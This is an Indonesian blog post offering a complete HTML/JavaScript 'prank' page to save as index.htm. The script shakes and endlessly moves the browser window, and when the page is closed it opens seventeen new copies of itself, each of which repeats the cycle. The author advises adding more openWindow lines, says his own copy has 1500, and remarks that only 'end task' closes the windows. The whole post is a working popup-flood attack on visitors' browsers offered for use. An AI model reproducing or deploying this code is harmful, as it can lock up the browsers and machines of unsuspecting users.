dengan sekali 'end task' semua IE akan ter-close.
ini dia kodenya, save dalam file index.htm dan taruh disebuah direktori:
<html>
<head>
<title>waduh</title>
<meta name="setanscript" content="FrontPage.Editor.Document">
<meta name="description" content="waduh">
<meta name="keywords" content="waduh">
<script>
function drop(n) {
if(self.moveBy){
self.moveBy (0,-900);
for(i = n; i > 0; i--){
self.moveBy(0,3);
}
for(j = 8; j > 0; j--){
self.moveBy(0,j);
self.moveBy(j,0);
self.moveBy(0,-j);
self.moveBy(-j,0);
}
}
}
</script>
<SCRIPT language="JavaScript">
<!--
var TrackRed= 0x00;
var TrackGreen= 0x00;
var TrackBlue= 0x00;
function FadeTo(steps,red,green,blue)
{
for (var i = 0; i <= steps; i++)
{
var endpart = i/steps;
var startpart = 1 - endpart;
document.bgColor =
Math.floor(TrackRed * startpart + red * endpart)*300*256 +
Math.floor(TrackGreen * startpart + green * endpart)*256 +
Math.floor(TrackBlue * startpart + blue * endpart);
}
TrackRed=red; TrackGreen=green; TrackBlue=blue;
}
//-->
</SCRIPT>
<STYLE TYPE="text/css">
<!--
A {text-decoration:none;}
A:hover {color:red;}
//-->
</STYLE>
<script language="JavaScript">
<!--
function MM_reloadPage(init) {
if (init==true) with (navigator) {if
((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage;
}}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH)
location.reload();
}
MM_reloadPage(true);
//-->
</script>
</head>
<body bgcolor="black" onload= "drop(300); flagRun = 1; setangila(); return true"
onunload="procreate()" topmargin="0" leftmargin="0" marginwidth="0"
bgproperties="fixed" >
<p>
<SCRIPT language=Javascript> <!--
var xOff = 50;
var yOff = 10;
var xPos = 50;
var yPos = -20;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=yes, status=yes, toolbar=yes,
resizable=no, width=200, height=200, titlebar=yes, alwaysRaised=yes');
}
function procreate(){
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
openWindow('index.htm');
}
function newXlt(){
xOff = Math.ceil( 0 - 4 * Math.random()) * 5 - 101 ;
window.focus()}
function newXrt(){
xOff = Math.ceil(1 * Math.random()) * 50 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 5 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 50 * Math.random()) * 1 - 10 ;
}
function fOff(){
flagrun = 0;
}
function setangila(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-20){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-50){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('setangila()',2);
}
}
//--> </script>
<font color=white><h4>HEHEHE.........
</BODY>
</HTML>
note:
perbanyak baris openWindow('index.htm');
discript HTML yang ku pake ada 1500 line openWindow('index.htm');
Diposkan oleh [R]edtroz .inc di 23:10